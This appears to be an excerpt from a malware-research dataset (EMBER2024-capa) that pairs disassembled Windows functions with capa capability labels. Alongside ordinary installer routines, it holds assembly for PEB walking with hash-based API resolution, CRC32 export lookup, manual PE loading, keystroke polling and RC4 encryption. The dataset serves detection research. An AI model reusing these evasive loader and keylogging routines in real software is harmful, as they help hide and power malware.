joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404070
Capabilities:
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x40605b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x30c
lea ecx, [esp + 4]
call sub.MFC42.DLL_CString::CString
mov eax, dword [0x409af8]
lea ecx, [esp + 4]
add eax, 0x73
mov dword [esp + 0x314], 0
push eax
call sub.MFC42.DLL_CString::LoadStringA
mov ecx, dword [esp + 4]
lea edx, [esp + 0x20c]
push ecx
push str.SoftwareMicrosoftWindowsCurrentVersionUninstall_s
push edx
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea eax, [esp + 8]
lea ecx, [esp]
lea edx, [esp + 0x20c]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push edx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x404201
push ebx
push esi
push edi
mov edi, str.DisplayName
or ecx, 0xffffffff
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x328]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x118]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push ecx
push 1
push eax
mov eax, dword [esp + 0x1c]
push edx
push eax
call ebx
mov edi, str.UninstallString
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [esp + 0x32c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x118]
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea ecx, [esp + 0x1c]
push ecx
push 1
push eax
mov eax, dword [esp + 0x1c]
push edx
push eax
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
lea ecx, [esp + 4]
mov dword [esp + 0x314], 0xffffffff
call fcn.0040581c
mov ecx, dword [esp + 0x30c]
mov eax, 1
mov dword fs:[0], ecx
add esp, 0x318
ret
Function at 0x404380
Capabilities:
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x406098
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x14], ecx
call sub.MFC42.DLL_AfxGetModuleState
mov edi, dword [esp + 0x34]
mov ebp, dword [eax + 8]
mov esi, dword [sym.imp.MSVCRT.dll__stricmp]
push 0x409710
mov eax, dword [edi]
mov dword [esp + 0x1c], ebp
push eax
call esi
add esp, 8
test eax, eax
jne 0x4043d1
mov eax, 0x85
jmp 0x4044b4
mov eax, dword [edi]
push 0x4096fc
push eax
call esi
add esp, 8
test eax, eax
jne 0x4043ec
mov eax, 0x87
jmp 0x4044b4
mov eax, dword [edi]
push 0x4096e8
push eax
call esi
add esp, 8
test eax, eax
jne 0x404407
mov eax, 0x88
jmp 0x4044b4
mov eax, dword [edi]
push str.TrueTable.chm
push eax
call esi
add esp, 8
test eax, eax
jne 0x404422
mov eax, 0x8b
jmp 0x4044b4
mov eax, dword [edi]
push 0x4099cc
push eax
call esi
add esp, 8
test eax, eax
jne 0x40443a
mov eax, 0xb1
jmp 0x4044b4
mov eax, dword [edi]
push str.ttlib.txt
push eax
call esi
add esp, 8
test eax, eax
jne 0x404452
mov eax, 0xbd
jmp 0x4044b4
mov eax, dword [edi]
push str.data.txt
push eax
call esi
add esp, 8
test eax, eax
jne 0x40446a
mov eax, 0xbe
jmp 0x4044b4
mov eax, dword [edi]
push str.uninstall.exe
push eax
call esi
add esp, 8
test eax, eax
jne 0x404482
mov eax, 0xbf
jmp 0x4044b4
mov eax, dword [edi]
push str.excelsink.exe
push eax
call esi
add esp, 8
test eax, eax
jne 0x40449a
mov eax, 0xc0
jmp 0x4044b4
mov eax, dword [edi]
push 0x409660
push eax
call esi
add esp, 8
test eax, eax
mov eax, 0xc2
je 0x4044b4
mov eax, dword [esp + 0x34]
and eax, 0xffff
push str.File
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov ebx, eax
test ebx, ebx
je 0x4044d8
push ebx
push ebp
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov ebp, eax
jmp 0x4044dc
mov ebp, dword [esp + 0x34]
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
mov ecx, dword [esp + 0x30]
mov eax, dword [edi]
push eax
lea eax, [esp + 0x14]
mov edx, dword [ecx]
mov dword [esp + 0x2c], 0
push edx
push 0x409510
push eax
call sub.MFC42.DLL_CString::Format
mov ecx, dword [esp + 0x20]
add esp, 0x10
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
or edi, 0xffffffff
cmp esi, edi
jne 0x404560
push str._install_failed
lea ecx, [esp + 0x14]
call sub.MFC42.DLL_CString::operator
mov edx, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
push 0
push 0
push edx
call sub.MFC42.DLL_CWnd::MessageBoxA
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], edi
call fcn.0040581c
mov eax, edi
jmp 0x404595
mov ecx, dword [esp + 0x18]
lea eax, [esp + 0x1c]
push 0
push eax
push ebx
push ecx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
mov dword [esp + 0x28], edi
call fcn.0040581c
mov eax, 1
mov ecx, dword [esp + 0x20]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 8
Function at 0x4045b0
Capabilities:
Create shortcut via ishelllink

Disassembly:
sub esp, 0x210
lea eax, [esp]
push eax
push 0x407ba8
push 1
push 0
push 0x407b98
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jge 0x4045dc
xor eax, eax
add esp, 0x210
ret
mov eax, dword [esp]
mov edx, dword [esp + 0x214]
push edx
push eax
mov ecx, dword [eax]
call dword [ecx + 0x50]
mov eax, dword [esp]
lea edx, [esp + 4]
push edx
push 0x407bb8
mov ecx, dword [eax]
push eax
call dword [ecx]
test eax, eax
jge 0x40460e
xor eax, eax
add esp, 0x210
ret
mov ecx, dword [esp + 0x218]
lea eax, [esp + 8]
push 0x104
push eax
push 0xffffffffffffffff
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [esp + 4]
lea ecx, [esp + 8]
push 2
push ecx
mov edx, dword [eax]
push eax
call dword [edx + 0x18]
mov eax, dword [esp + 4]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov eax, dword [esp]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, 1
add esp, 0x210
ret
Function at 0x401c05
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x401c33
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x401c2a
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x401c22
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401c54
mov esp, ebp
pop ebp
ret

Function at 0x401c58
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x401cc4
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x401cf1
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x401ce0
xor ecx, eax
xor edx, ebx
dec edi
jne 0x401cd1
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x401d17
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x401cb8
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x401d43
mov esp, ebp
pop ebp
ret 0xc
Function at 0x402fb8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp + 0xc], eax
jmp 0x402fc8
sub esp, 0x38
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
cmp dword [ebp + 8], 0
jle 0x40301d
push dword [ebp + 8]
call fcn.004031c9
mov dword [ebp - 0x24], eax
cmp word [ebp - 0x24], 0x5a4d
jne 0x40301d
xor eax, eax
jmp 0x403022
mov eax, 1
test eax, eax
je 0x403034
mov eax, 0
jmp 0x4031c3
push 0x3c
push dword [ebp + 8]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
mov dword [ebp - 4], eax
push dword [ebp - 4]
call fcn.004031e5
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4550
jne 0x40308f
push 0x7c
push dword [ebp - 4]
call fcn.0040320b
push eax
call fcn.004031e5
mov dword [ebp - 0x30], eax
cmp dword [ebp - 0x30], 0
je 0x40308f
xor eax, eax
jmp 0x403094
mov eax, 1
test eax, eax
je 0x4030a6
mov eax, 0
jmp 0x4031c3
push 0x78
push dword [ebp - 4]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
mov dword [ebp - 8], eax
push 0x20
push dword [ebp - 8]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
mov dword [ebp - 0xc], eax
push 0x18
push dword [ebp - 8]
call fcn.0040320b
push eax
call fcn.004031e5
mov dword [ebp - 0x10], eax
push 1
push dword [ebp - 0x10]
call fcn.00403232
push eax
lea eax, [ebp - 0x10]
mov ebx, eax
mov ecx, 0
pop edx
push edx
push ecx
push ebx
mov dword [ebx], ecx
cmp ecx, edx
jg 0x4031b6
push dword [ebp - 0x18]
push dword [ebp - 0xc]
call fcn.0040320b
mov dword [ebp - 0x14], eax
push dword [ebp + 0xc]
push dword [ebp - 0x14]
call fcn.00403259
test eax, eax
je 0x403199
push 0x1c
push dword [ebp - 8]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
mov dword [ebp - 0x24], eax
push 4
push dword [ebp - 0x10]
call fcn.0040328d
push eax
push dword [ebp - 0x24]
call fcn.0040320b
push eax
call fcn.004031e5
push eax
push dword [ebp + 8]
call fcn.0040320b
jmp 0x4031c3
push dword [ebp - 0x14]
call fcn.004032b5
push eax
push dword [ebp - 0x18]
call fcn.0040320b
mov dword [ebp - 0x18], eax
pop ebx
pop ecx
pop edx
inc ecx
jmp 0x403122
add esp, 0xc
mov eax, 0
jmp 0x4031c3
mov esp, ebp
pop ebp
ret 8
Function at 0x403354
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
jmp 0x40335c
sub esp, 0x28
push ecx
mov ecx, dword [ebp + 8]
cmp ecx, 0
jle 0x4033a1
mov eax, dword [ecx]
mov dword [ebp - 8], eax
cmp word [ebp - 8], 0x5a4d
jne 0x4033a1
lea eax, [ecx + 0x3c]
mov eax, dword [eax]
add ecx, eax
mov eax, dword [ecx]
cmp eax, 0x4550
jne 0x4033a1
lea eax, [ecx + 0x16]
mov eax, dword [eax]
cwde
and eax, 0x2000
test eax, eax
je 0x4033a1
lea eax, [ecx + 0x28]
mov eax, dword [eax]
add eax, dword [ebp + 8]
jmp 0x4033a5
xor eax, eax
jmp 0x4033d0
nop
push 0
push 0
push 0
call eax
call fcn.004033d5
push 0x700ed6df
push eax
push 0
call fcn.00403428
push 0
push 0x8000
push 0
push dword [ebp + 8]
push 0xffffffffffffffff
call eax
pop ecx
leave
ret 4

Function at 0x4033d5
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
cld
xor edx, edx
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
mov esi, dword [edx + 0x28]
push 0x18
pop ecx
xor edi, edi
xor eax, eax
lodsb al, byte [esi]
cmp al, 0x61
jl 0x403403
sub al, 0x20
ror edi, 0xd
add edi, eax
loop 0x4033fa
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0x4033f2
mov eax, ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403424
mov esp, ebp
pop ebp
ret

Function at 0x403428
Capabilities:
Hash data with crc32

Disassembly:
push ebp
mov ebp, esp
sub esp, 4
mov dword [ebp - 4], 0
add esp, 0xffffffec
push esi
push ebx
push edi
push edx
push ecx
mov eax, dword [ebp + 0x10]
xor edx, edx
xchg edx, eax
mov esi, 0x3c
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov esi, dword [eax + 0x78]
add esi, 0x18
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
lodsd eax, dword [esi]
add eax, dword [ebp + 0xc]
push eax
stosd dword es:[edi], eax
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
pop esi
mov dword [ebp - 4], 0
push esi
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
xchg edi, eax
mov ebx, edi
push edi
xor al, al
scasb al, byte es:[edi]
jne 0x403494
pop esi
sub edi, ebx
push edx
cld
xor ecx, ecx
dec ecx
mov edx, ecx
xor eax, eax
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
mov cl, ch
mov ch, dl
mov dl, dh
mov dh, 8
shr bx, 1
rcr ax, 1
jae 0x4034c1
xor ax, 0x8320
xor bx, 0xedb8
dec dh
jne 0x4034b0
xor ecx, eax
xor edx, ebx
dec edi
jne 0x4034a1
not edx
not ecx
mov eax, edx
rol eax, 0x10
mov ax, cx
pop edx
cmp edx, eax
je 0x4034e7
pop esi
add esi, 4
add dword [ebp - 4], 1
jmp 0x403488
pop esi
mov eax, dword [ebp - 4]
shl eax, 1
add eax, dword [ebp - 0x10]
xor esi, esi
xchg esi, eax
mov ax, word [esi]
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
pop ecx
pop edx
pop edi
pop ebx
pop esi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x403513
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40af50
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c3bb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.00461198
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x40afd2
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.0045f0e7
mov eax, dword [eax]
push 0x4861c0
push eax
call fcn.00452004
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.00461423
test bl, bl
je 0x40afd2
push 0x4861c0
lea ecx, [esp + 0xc]
call fcn.004617b3
push 0x489d20
lea ecx, [esp + 0xc]
call fcn.004617b3
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x40b00e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.00461423
jmp 0x40b0d9
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x40b092
lea edx, [esp + 0x7c]
push 0x489d1c
push edx
call fcn.00452004
add esp, 8
test eax, eax
je 0x40b092
lea eax, [esp + 0x7c]
push 0x489d18
push eax
call fcn.00452004
add esp, 8
test eax, eax
je 0x40b092
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40b022
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.00461423
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x40b8d0
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x40b932
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x40b940
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x46c43b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x49207c]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x40ba78
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x40b9a6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00461423
xor eax, eax
jmp 0x40baef
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.00461560
push esi
lea ecx, [esp + 0xc]
call fcn.004617ef
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x40bacd
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push SysReAllocString
call fcn.0040b8d0
test eax, eax
jne 0x40bacd
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push SysReAllocString
mov ecx, edi
call fcn.0040b8d0
test eax, eax
jne 0x40bacd
lea eax, [esp + 0x14]
push 0x489d34
push eax
call fcn.00453110
mov esi, eax
add esp, 8
test esi, esi
jne 0x40baac
lea ecx, [esp + 0x14]
push 0x489d30
push ecx
call fcn.00453090
mov esi, eax
add esp, 8
test esi, esi
jne 0x40baac
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x40baaf
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.00461510
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x40b9be
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.00461423
xor eax, eax
jmp 0x40baef
mov byte [esi], 0
push 0x489d2c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.00461423
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x41d440
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x41d4ae
cmp si, 0x69
ja 0x41d4ae
add esi, 0xffd0
cmp si, 0x11
je 0x41d47e
push 0x11
call edi
test ax, ax
jge 0x41d47e
or esi, 0x2000
cmp si, 0x10
je 0x41d493
push 0x10
call edi
test ax, ax
jge 0x41d493
or esi, 0x4000
cmp si, 0x12
je 0x41d4a8
push 0x12
call edi
test ax, ax
jge 0x41d4a8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x41d4bb
mov esi, 0xbd
jmp 0x41d46f
cmp si, 0x6e
jne 0x41d4c8
mov esi, 0xbe
jmp 0x41d46f
cmp si, 0x6f
jne 0x41d469
mov esi, 0xbf
jmp 0x41d46f

Function at 0x41eb60
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x4a26d0]
xor edx, edx
cmp eax, edx
jne 0x41eb86
xor eax, eax
mov byte [eax + 0x4a25d0], al
inc eax
cmp eax, 0x100
jl 0x41eb6e
mov dword [0x4a26d0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x4a25d0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x41ec17
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x41ebea
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x41ebb8
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x41ec90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x41ece3
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x41ecca
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret